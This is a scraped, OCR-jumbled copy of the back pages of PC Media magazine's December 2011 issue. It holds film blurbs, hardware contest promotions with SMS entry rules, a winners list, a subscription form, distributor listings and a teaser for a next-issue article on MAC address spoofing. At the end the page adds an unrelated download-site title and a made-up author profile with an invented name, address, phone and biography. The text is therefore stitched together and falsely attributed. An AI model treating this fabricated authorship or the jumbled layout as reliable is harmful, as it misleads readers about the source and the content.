Pertanyaan dalam film ini adalah “apakah Anda akan memercayakan seorang pria pengangguran yang masih tinggal bersama ibunya untuk mengasuh anak Anda?”. Jawabannya tidak sesederhana “iya” atau “tidak,” tetapi akan terjawab dengan sendirinya setelah Anda menonton tuntas film ini. Alih-alih menunaikan tugasnya dengan baik, Noah Jaybird (Jonah Hill) malah mengajak anak-anak yang diasuhnya untuk menghabiskan malam yang “liar”.

ANIMATION | ACTION | ADVENTURE

THRILLER

The Adventures of Tintin

Tinker Tailor Soldier Spy

Director : Steven Spielberg Casting : Jamie Bell, Andy Serkis, and Daniel Craig Distributor : Columbia Pictures

Director : Thomas Alfredson Casting : Gary Oldman, Colin Firth, dan Tom Hardy Distributor : Focus Features

Diangkat dari komik klasik asal Belgia karya Hergé, The Adventures of Tintin kini hadir di layar perak. Film ini disutradarai oleh Steven Spielberg dan diproduseri oleh Peter Jackson sehingga kualitasnya tidak perlu diragukan. Mengombinasikan cerita dari The Crab with the Golden Claws, The Secret of the Unicorn, dan Red Rackham’s Treasure, film ini mengisahkan pertemuan pertama Tintin (Jamie Bell) dengan Captain Haddock (Andy Serkis).

Sama seperti Sherlock Holmes, film ini diangkat dari novel tahun 1974 dengan judul sama karya John le Carré. Tinker Tailor Soldier Spy dibintangi oleh Gary Oldman sebagai George Smiley, seorang veteran matamata Inggris pada masa-masa suram Perang Dingin. Smiley yang tengah berada dalam masa semipensiun dipaksa untuk menemukan seorang agen Uni Soviet yang menyusup ke organisasi M16.

12/2011

157_trailer_12_fadly edit nur.indd 157

157

11/9/2011 9:47:14 AM

SUPER PROMO Asiaraya + EMD Dapatkan!

Deep Cool I-Stand S3 untuk 4 orang pemenang.

ZOTAC ZBOX NANO AD10 MINI PC PRODUCT NAME ZBOX NANO AD10 ZBOX NANO AD10 PLUS SKU ZBOXNANO-AD10 ZBOXNANO-AD10-PLUS Memory 1 x 204-pin DDR3-1066 2 GB DDR3 SODIMM slot Harddisk 1 x 2.5-inch 320 GB 5400 RPM CPU AMD E-350 APU Platform (1.6 GHz, dual-core) GPU AMD Radeon HD 6310 Display Options HDMI (w/audio) & DisplayPort Memory Card Reader 6-in-1 (SD/SDHC/MMC/MS/MS Pro/xD) SATA eSATA (rear) Ethernet 10/100/1000 Mbps Wi-Fi Onboard 802.11n Wi-Fi & Bluetooth 3.0 USB Ports 2 x USB 2.0 (rear), 2 x USB 3.0 ports (rear) Audio Onboard analog stereo high-definition audio, 7.1-Channel digital audio (LPCM and Bistream capable via HDMI)

Tingkatkan ekspektasi performa yang Anda dambakan untuk komputasi hemat energi dengan ZOTAC ZBOX nano AD10 mini-PC. Produk ini hanya seukuran kepalan tangan dan didukung oleh platform AMD E-350 APU. Disanding-

kan dengan Graphic AMD Radeon discreet, ZOTAC ZBOX nano AD10 memberikan sinergi yang sempurna antara kinerja GPU dan CPU untuk pengalaman komputasi multimedia yang menakjubkan. Di dalamnya terdapat kapabilitas pemutar video definisi tinggi yang halus serta respons yang sangat cepat untuk tugas komputasi sehari-hari. Produk ini sangat erat dengan komputasi kinerja hemat energi karena desain hardware yang ramah lingkungan dan kemudahan operasional mini-PC. Housing hard drive 2,5 inci dan 204-pin DDR3-1066 SO-DIMM slotnya memungkinkan pengguna menyesuaikan konfigurasi internal sesuai kebutuhan.

INFO PRODUK ASIARAYA COMPUTRONICS E-mail : [emailprotected]

PERTANYAAN: ZBOX nano AD10 menggunakan processor? A. AMD E-250 APU B. AMD E-150 APU

C. AMD E-350 APU

l, Dapatkan! Speaker Amethyst untuk 5 orang pemenang.

CYBER CLEAN Seluruh tes di dunia telah membuktikan bahwa keyboard memiliki tingkat kuman, debu, dan kotoran berbahaya yang jauh lebih besar daripada kursi toilet umum. Lebih lanjut, keyboard komputer sering menyimpan sejumlah besar limbah, seperti rambut, kulit mati, makanan, dan debu. Selain itu, keyboard yang kotor dan terkontaminasi, misalnya dari sisa-sisa toner pada printer, dapat membahayakan kesehatan Anda dan parahnya membahayakan kinerja perangkat elektronik Anda. Untuk masalah tersebut, Cyber Clean-lah solusinya! Cyber Clean adalah pembersih yang revolusioner! Cyber Clean mampu mengangkat debu, kotoran, dan kuman dengan mudah hingga menjangkau seluruh rongga dan celah yang terdapat pada komputer, keyboard, laptop, ponsel, maupun interior mobil. Cyber Clean dapat masuk ke semua rongga karena bentuk gel dan kombinasi sempurna dari formula viskositas dan elastisitas yang sudah dipatenkan. Operasional-

nya, Cyber Clean menyerap kotoran dan residu lain dan melakukan pembersihan yang maksimal, baik dalam rongga maupun di permukaan. Cyber Clean dapat membersihkan semua tempat yang sulit dijangkau sampai 99,9%. Cyber Clean bisa digunakan lebih dari sepuluh kali atau sampai warna gel berubah menjadi hitam. Cyber Clean tersedia dalam dua pilihan. Cyber Clean Yellow untuk membersihkan perangkat elektronik, sedangkan Cyber Clean Blue untuk digunakan pada interior mobil.

INFO PRODUK E Media Devices (EMD) Ruko Bahan Bangunan H2 No. 19 Jakarta, Indonesia Telp: (021) 6000029

Kupon Super Promo PC Media 12/2011

Kupon Super Promo PC Media 12/2011

PERTANYAAN: Cyber Clean dapat digunakan untuk apa saja? A. Elektronik B. Interior mobil

C. Semua Benar

CARA MENJAWAB: Pelanggan Indosat (Matrix, IM3, Mentari, Starone); Telkomsel (Halo, Simpati, As); XL (Xplor, Bebas, Jempol); Flexi; atau Mobile-8 (Fren) kirim SMS ke 9333: Tik SMS: PCMEDIA<spasi>12<spasi>ASIARAYA/EMD <spasi>[Jawaban A/B/C]<spasi>NAMA, Contoh: PCMEDIA 12 ASIARAYA A BUDI Atau kirim jawaban pada selembar kartu pos ke Redaksi PC Media, Jl. Kramat IV No. 11, Jakarta 10430. Sertakan kupon ASIARAYA/EMD yang tercantum pada halaman 158. SMS dan kartu pos diterima selambat-lambatnya pada 16 Januari 2012. Nama pemenang akan diumumkan pada PC Media 02/2012.

158

super promo_12_edit WS edit nur.indd 158

12/2011

11/21/2011 1:05:40 PM

Foxhound + Megacom SUPER PROMO Dapatkan!

Keyboard Acrylux untuk 2 orang pemenang.

ENERMAX PLATIMAX 80 PLUS PLATINUM Power Supply yang paling powerful telah siap mendobrak pasar. ENERMAX dengan bangga merilis power supply PLATIMAX baru, yang telah mencapai standar tertinggi Platinum 80Plus dengan efisiensi maksimum lebih dari 94%. PLATIMAX menawarkan berbagai model, mulai 500W sampai 1200W. PLATIMAX 1200W dan 1050W mewarisi desain inovatif dari ENERMAX, seperti transformator daya high-density yang dipatenkan dan teknologi transmisi panas copper bridge array. Teknologi transmisi panas ini dibarengi layout yang lebih rapi, memperkuat kinerja pendinginan dan mengurangi panas yang tidak perlu. Semua itu berkontribusi untuk memecahkan hambatan efisiensi 80 PLUS Platinum. Untuk model 850W sampai 500W, ENERMAX menerapkan Dynamic Hybrid Transformer Topology. Seluruh seri PLATIMAX menggunakan kapasitor elektrolitik dari Jepang dengan batasan suhu operasional 105° C. Selain itu, ditambahkan beberapa sirkuit perlindungan dan multi-

rail 12V yang dipastikan bertahan lebih lama. Sisi kipas PLATIMAX menggunakan fan ultra-quiet 13,9 cm dengan Twister Bearing yang memiliki ketahanan tinggi, stabilitas, aman, dan sunyi. Selain itu, layout yang bersih dan rapi dengan tampilan chassis yang berlapis dengan bingkai hitam deco membuat PLATIMAX sebagai hasil teknologi dan estetika serta benar-benar merupakan karya powerful.

INFO PRODUK FOX HOUND Jembatan Harco Mas Mangga 2, Lt. 3, No. 35 Telp: (021)62304573, (021) 30006167 E-mail: [emailprotected]

PERTANYAAN: Berapa daya tertinggi untuk Platimax 80 Plus Platinum? A. 500W B. 1050W C. 1200W

l Dapatkan! Keyboard Meka G Unit untuk 1 orang pemenang.

Tt eSPORTS MEKA G UNIT Keyboard dengan mechanical button untuk gamer makin marak di pasaran. Sejalan dengan tren ini, TteSPORTS dari Thermaltake telah meluncurkan gaming keyboard terbaru, MEKA G-Unit, yang merupakan mechanical keyboard pertama yang didukung memory on-board untuk storage programming dan setting macro. MEKA G-Unit ini juga memiliki Smart Cable Management untuk keyboard dan Palm Rest yang bisa dibongkar-pasang dengan mudahnya. Desain yang unik dan futuristik dengan logo tanda Tt eSPORTS berwarna hitam dan merah yang menyala ketika unit aktif, membuat MEKA G Unit tampil sangat berbeda. Beberapa tombol yang paling banyak digunakan untuk gaming, seperti FPS, juga dilengkapi lampu LED-PUTIH, yang akan memudahkan gamer, bahkan pada kondisi ruang gelap. MEKA G Unit dilengkapi dengan Cherry Black Switch, 7 tombol multimedia, port USB 2.0, headphone/microphone

jacks, dan kabel koneksi USB 1.8 meter. Selain itu, ada yang membuatnya istimewa, yakni dengan disertakannya fitur ISS (Instant Shift System) yang memungkinkan Anda untuk menetapkan profil hingga 60 kombinasi tombol macro. MEKA G Unit didesain untuk berjalan pada sistem operasi Windows 7/Vista/XP sebagai salah satu platform game terbesar guna memastikan kompatibilitas gaming tertinggi.

INFO PRODUK MEGACOM Ruko Harco Elektronik Mangga Dua Blok G No. 12, Jakarta 10730 Telp: (021) 62203233

Kupon Super Promo PC Media 12/2011

Kupon Super Promo PC Media 12/2011

PERTANYAAN: MEKA G Unit memiliki berapa tombol multimedia? A. 6 B. 7 C. 8

CARA MENJAWAB: Pelanggan Indosat (Matrix, IM3, Mentari, Starone); Telkomsel (Halo, Simpati, As); XL (Xplor, Bebas, Jempol); Flexi; atau Mobile-8 (Fren) kirim SMS ke 9333: Tik SMS: PCMEDIA<spasi>12<spasi>FOXHOUND/MEGACOM <spasi>[Jawaban A/B/C]<spasi>NAMA, Contoh: PCMEDIA 12 FOXHOUND A BUDI Atau kirim jawaban pada selembar kartu pos ke Redaksi PC Media, Jl. Kramat IV No. 11, Jakarta 10430. Sertakan kupon FOXHOUND/MEGACOM yang tercantum pada halaman 159. SMS dan kartu pos diterima selambat-lambatnya pada 16 Januari 2012. Nama pemenang akan diumumkan pada PC Media 02/2012.

12/2011

super promo_12_edit WS edit nur.indd 159

159

11/21/2011 1:06:19 PM

SUPER PROMO The Winner

PENGUMUMAN PEMENANG SUPER PROMO 10/2011 Selamat untuk para pemenang! PEMENANG SUPER PROMO VIPRE 1 Unit AVIPRE Premium untuk 5 Orang Pemenang 1. Nafi Ansyori Ssi 085267379xxx 2. Wili 081230165xx 3. Hari 082131165xxx 4. M.ihya 081615372xxx 5. Sri Daryanti Jl. Cocakrawa, Telukan Grogol - Sukoharjo PEMENANG SUPER PROMO FOXHOUND 1 Unit Enermax EG320S-VB (24P) untuk 2 Orang Pemenang 1. Asep 081313553xxx 2. Ardian 081328568xxx

Para pemenang diminta menghubungi Sekretariat PC Media HANYA melalui telepon di (021) 315-3731 ext.127 atau e-mail ke evawani. [emailprotected] untuk verifikasi diri (tanpa verifikasi dan pengambilan hadiah hingga dua bulan sejak pengumuman ini, hadiah dinyatakan hangus). Kami tidak melayani verifikasi selain pemenang yang tercantum pada pengumuman ini. Kami juga tidak pernah menghubungi pemenang tanpa verifikasi awal dari pemenang itu sendiri. Setelah verifikasi berhasil, pemenang yang tinggal di Jabodetabek bisa mengambil hadiah di Kantor PC Media setiap hari/jam kerja, Senin s/d Jumat pukul 9.00 s/d 16.30 dengan menyerahkan identitas diri yang masih berlaku. Hadiah bagi pemenang di luar Jabodetabek akan dikirim via pos/kurir (ongkos ditanggung pemenang). PC Media tidak bertanggung jawab atas kerusakan atau kehilangan hadiah yang terjadi selama pengiriman. Klaim akan diteruskan kepada jasa pengiriman yang ditunjuk dengan melampirkan salinan resi pengiriman. Pemenang yang pengambilan hadiahnya diwakilkan HARUS MENYERTAKAN surat kuasa beserta fotokopi identitas diri pemenang dan pengambil yang masih berlaku.

Operator Jaringan Anda untuk setiap pengiriman/penerima an SMS. Mohon menghubungi operator jaringan Anda untuk informasi lebih lanjut mengenai tambahan biaya standar tersebut. Total biaya pengiriman SMS tersebut akan dipotong dari pulsa Anda atau akan tercantum pada tagihan bulanan Anda. Sebuah SMS balasan akan dikirimkan ke ponsel Anda sebagai bentuk konfirmasi bahwa SMS “Super Promo” yang Anda kirimkan telah berhasil diterima. Keberhasilan layanan ini sepenuhnya tergantung kondisi Operator Jaringan Anda dan Penyedia Layanan Konten pada saat Anda mengirim SMS. PC Media tidak bertanggung jawab atas segala bentuk hambatan teknis akan layanan ini. Anda diperbolehkan mengirim lebih dari satu SMS jawaban. Tarif adalah benar saat majalah ini dicetak dengan mengecualikan kelalaian dan kesalahan cetak. Gunakan pulsa Anda secara bijak.

Via Pos: Seluruh kartu pos yang akan Anda kirimkan dapat dimasukkan ke dalam 1 (satu) amplop tertutup, lalu kirimkan ke alamat redaksi. 1 (satu) kupon berlaku untuk 1 (satu) kartu pos.

Awas Penipuan! Via SMS: Tarif premium Rp2.000++/SMS untuk Jasa Layanan Konten. Tarif tersebut belum termasuk tambahan biaya standar (berupa PPN 10% & SMS Bearer) yang mungkin dikenakan oleh

160

super promo_12_edit WS edit nur.indd 160

Waspadalah jika ada yang meminta untuk menyetorkan pajak undian atau ongkos pengiriman ke rekening bank atas nama pribadi. PC Media tidak pernah menghubungi pemenang tanpa verifikasi awal dari pemenang itu sendiri.

12/2011

11/21/2011 1:07:12 PM

Berlangganan Hemat

MAKIN DEKAT DENGAN ANDA

Hubungi: Sirkulasi Pinpoint Publications (DPKU) Telp: (021) 4682-6816, 7079-6499 Fax: (021) 4682-8919 e-mail: [emailprotected]

FORMULIR BERLANGGANAN DATA PRIBADI (Pilih dengan tanda dan isi dengan huruf kapital)

Saya ingin berlangganan majalah PC

NO. WILAYAH

Media: PAKET LANGGANAN

HARGA LANGGANAN

1.

Jabodetabek

6 Bulan (6 Edisi) 1 Tahun (12 Edisi)

Rp229.500 Rp432.000

2.

Pulau Jawa (Jateng, Jabar, Jatim)

6 Bulan (6 Edisi) 1 Tahun (12 Edisi)

Rp243.000 Rp459.000

3.

Bali/Sumbar

1 Tahun (12 Edisi)

Rp540.000

4.

Sumut/Kalimantan/Sulawesi/

1 Tahun (12 Edisi)

Rp570.000

Indonesia Timur

Nama Lengkap: Alamat: Fax:

Cara Pembayaran: Transfer ke BCA Cabang Rawamangun a/n PT DIAN PASIFIK KOMUNIKASI UTAMA No. Rekening 094 303 3533 Bukti transfer & formulir ini harap di-fax ke (021) 4682-8919

Tanggal :

----------------------------------------------------------------------

Up. Bagian Langganan Tanda Tangan :

langganan pcm_12.indd 1

PULAU JAWA

Cilegon: Torpedo Agc 0254391460 • Serang: Estica Agc 0254-202292, • Bandung: Alphabet Agc 022-6006000, Gunaraya 022-4232513, Wahyudin Agc 022-6011414 • Garut: Monita Agc 0262- 23479 • Tasikmalaya: Nasuha 0265-334064 • Indramayu: Kompas Agc 0234- 484032 • Cirebon: Cirebon Agc 0231203376 • Tegal: Tegal News Agc 0283-356138 • Pekalongan: TB Rajamurah 0285-424463, Fajar Agc 0285-431466 • Semarang: Erlangga Agc 024-8313405, Hartono Agc 024-3545301, Adila Agc 024-3560615, Hariani Agc 024-3541832, TB Prasojo 024-569561 • Solo: TB ABC 0271-644345, Sendang Mulia Agc 0271-633751 • Yogyakarta: Hidup Agc 0274-587921, Lamhaba 0274-541808, Togamas dan Gramedia • Magelang: TB Larista 0293-368060 • Purwokerto: TB ABC 0281638344, SHS Agc 0281-622485 • Surabaya: Kantor Perwakilan 031-8291511, Gunung Agung dan Gramedia • Malang: Yahya Oentoeng 03413410105 • Kediri: TB Alief 0354-684211 • Jember: TB Amanah dan Gunung Agung.

TOKO BUKU JABODETABEK

Kode Pos: Telepon: Mobile/E-mail: Mulai berlangganan Edisi:

LUAR JAWA Medan: Pustaka Obor 0614145622 • Pekanbaru: Jack 0761-27706 • Padang: Taman Bacaan 0751-35150 • Palembang: TB Sriwijaya 0711- 320679 • Jambi: Gloria 074-23360, Elieson 0741-24424 • Bengkulu: TB Zaldy 0736-24291 • Pangkal Pinang: Supermini 0717-423973, Idris Hadi 0717-424547 • Tanjungkarang: Tohoma 0721-261839, Intisari 072164026 • Pontianak: Angkasajaya 0561-734689, Ridho 0561-775843 • Balikpapan: TBTerang 0542-421301, Antra 0542-396003 • Samarinda: Aziz 0541-260235, A.Terang 0541-741768 • Banjarmasin: Naprin Budhi 0511-65475 • Palangakaraya: Fathir 0536-28317 • Makassar: Telly 0411321795, IndahJaya 0411-330707 • Kendari: TB Ade 0401-21613 • Palu: Ramedia 0451-421218, Masrun 0451-423805 • Manado: Lok Book Store 0431-852734 • Denpasar: Corsica 0361-226358, TB Anna 0361-427594, Gunung Agung dan Gramedia • Mataram: Titian 0370-622188 • Kupang: Rapi 0380-832033

-----------------------------------------------

Maruzen: Blok M 7268334, Sultan Agung 8307641 • Kharisma: Cijantung 87793375, Cinere 7534125, Cilandak 78840163, Taman Anggrek 5639343, Puri 5822629, Pamulang 7445019, Kalimalang 8601887, Klender 86605956 • Gramedia: Matraman 8581763, Pondok Indah 7506997, Pintu Air 3843800, Melawai 7203445, Gajahmada 2601234, Citraland 5606363, Pluit 6683620, Cinere 7540663, Bekasi 8840401, Bogor 0251-356341 • Gunung Agung: Pondok Indah 7506901, Taman Angrek 5639045, Citraland 5681512, Kwitang 3102004, Blok M 7209344, Arion 7413078, Atrium 3867831, Lokasari 6254730, Bogor 0251-326876 • News Stand Niaga Tower 2505250 • Time PI 330434 • Newstand WTC Sudirman • 5211216, Mandarin 5678888 • Trio 7982331 • JBC Kalibata 7970350 • Cabang TB Utama

24/11/2011 12:12:30

EPILOGUE

DAPATKAN PC Media 01/2012 mulai Januari di kios & toko buku! HARDWARE

KNOW-HOW

Proteksi Download File dengan PHP

Ultra-slim Notebook

Internet memungkinkan pengguna untuk men-download berbagai file dari berbagai link. Biasanya, cukup dengan mengetahui link tertentu, siapa pun dapat men-download-nya kapan saja selama file yang ditunjuk oleh link tersebut tidak dihapus dari web server. Hal ini mungkin membuat pesimis orang yang ingin menjual produk digital, seperti program, video, atau e-book di internet. Karena itu, pelajari cara memproteksi link dengan menggunakan PHP hanya pada edisi depan.

Anda termasuk yang terpesona oleh ketipisan ultrabook? Atau memimpikan Macbook Air tanpa lambang buah apel? Begitu kuatnya pesona itu sehingga seolah-olah menyarankan kita untuk mengganti notebook lama kita dengan salah satu dari mereka. Simak beberapa kandidatnya pada edisi depan.

Spoofing MAC Address pada OS Windows

Orcs Must Die!

MAC Address atau kadang disebut pula physical address merupakan identitas unik yang diberikan pada peralatan network adapter untuk berkomunikasi pada segmen jaringan fisik. Namun, ia dimungkinkan untuk mengubah MAC Address ini atau dikenal dengan istilah spoofing. Beberapa cara spoofing MAC Address, baik secara manual maupun pemrograman, akan dijabarkan pada edisi depan.

GAME Rift Fortress diserbu kawanan orcs. Hanya Anda seorang yang dapat mempertahankan benteng agar tak direbut para orcs. Baca tentang game ini pada edisi depan.

IMPRINT

Anton R. Pardede Chief Editor

Rifan Fernando Hardware

Verydias Aditya Hardware

Wawa Sundawa Hardware

Agus Prasetyo Software

Rully Novrianto Software

Suherman Software

Yuliadi Network

Zaky Abdurrachman Network

Fajar Anggiawan Antivirus

Joko Nurjadi Antivirus

Novida Iskandar Antivirus

CONTRIBUTORS: Agus Kurniawan, Anis Zubair, Bernaridho I. Hutabarat, Gunung Sarjono, Mardi Hartanto, Maykada Harjono, Muhammad F. Haqqi, Ria Canseria, Steven Haryanto, Windra Swastika, Zatni Arbi, Zamrony P. Juhara. PUBLISHER: Mario Alisjahbana. ADVERTISING & EVENT: Account Executive: Agus Zaenudin. Administrative: Febriyanti. CIRCULATION: Purwaluyo (Manager). FINANCE: Deetje Monoarfa (Manager). EDITORIAL & LAB ADDRESS: Gedung Warta Lt. 4, Jl. Kramat IV/11 Jakarta Pusat-10430. Telp: (021) 315-3731 (hunting) ext. 129-131. Fax: (021) 315-3732. E-mail: [emailprotected]. ADVERTISING ADDRESS: Gedung Warta Lt. 2, Jl. Kramat IV/11 Jakarta Pusat-10430. Telp: (021) 315-3731 (hunting) ext. 105-107. Fax: (021) 315-3732. E-mail: [emailprotected]. CIRCULATION/SUBSCRIPTION ADDRESS: Jl. Rawagirang No. 8 - Kawasan Industri Pulogadung, Jakarta Timur. Telp: (021) 46826816, 7079-6499. Fax: (021) 4682-8919. E-mail: [emailprotected]. BACK ISSUE: Jl. Rawagirang No. 8 - Kawasan Industri Pulogadung, Jakarta Timur. Telp: (021) 4682-6816, 7079-6499. Fax: (021) 4682-8919. SMS: 0813-1152-3230. E-mail: [emailprotected]. PUBLISHING: PT Dian Digital Media, Jakarta. PRINTING: PT Dian Rakyat, Jakarta.

Pinpoint Publications menjunjung tinggi nilai integritas. Oleh karena itu, dalam menjalankan tugasnya, seluruh staf kami tidak dibenarkan menerima atau meminta imbalan dalam bentuk apa pun dari relasi/narasumber.

Denie Kristiadi Special FX

Febriyanti Disc Services

Nurhasanah Editor

Mardiana Design/Layout

Riski Putra Design/Layout

Evawani U. Putri Secretary

162

162_epilogue_12 edit nur.indd 162

Baster Gunawan Design/Layout

Dhany Sudharmanto Design/Layout

Lely Yulaena Design/Layout

Majalah PC Media diterbitkan bulanan oleh Pinpoint Publications. Pinpoint Publications juga menerbitkan majalah bulanan InfoLINUX, tabloid dwimingguan PC Mild, Buku Mini PC Media, dan Buku Mini InfoLINUX. Dilarang mereproduksi seluruh atau sebagian materi dalam media ini dalam bentuk dan dengan tujuan apa pun tanpa izin. PC Media melakukan pengujian produk komputer secara independen dan melaporkan hasilnya secara adil dan objektif. Seluruh staf uji coba PC Media tidak memiliki investasi pada perusahaan yang produknya diuji coba. Hasil pengujian produk yang dimuat di PC Media sama sekali tidak ada kaitannya dengan iklan maupun hubungan bisnis dengan perusahaan mana pun. Kecuali disebutkan, pengujian dilakukan PC Media pada produk dan layanan yang tersedia pada saat ini.

12/2011

11/16/2011 10:23:38 AM

AOC_12.indd 1

23/11/2011 10:27:15

v-gen pcm (PC0848-Y4-0511).indd 1

3/29/2011 4:55:39 PM

PCMAV EXPRESS FOR QVOD - PDF Free Download (2025)
Top Articles
Latest Posts
Recommended Articles
Article information

Author: Manual Maggio

Last Updated:

Views: 5749

Rating: 4.9 / 5 (49 voted)

Reviews: 80% of readers found this page helpful

Author information

Name: Manual Maggio

Birthday: 1998-01-20

Address: 359 Kelvin Stream, Lake Eldonview, MT 33517-1242

Phone: +577037762465

Job: Product Hospitality Supervisor

Hobby: Gardening, Web surfing, Video gaming, Amateur radio, Flag Football, Reading, Table tennis

Introduction: My name is Manual Maggio, I am a thankful, tender, adventurous, delightful, fantastic, proud, graceful person who loves writing and wants to share my knowledge and understanding with you.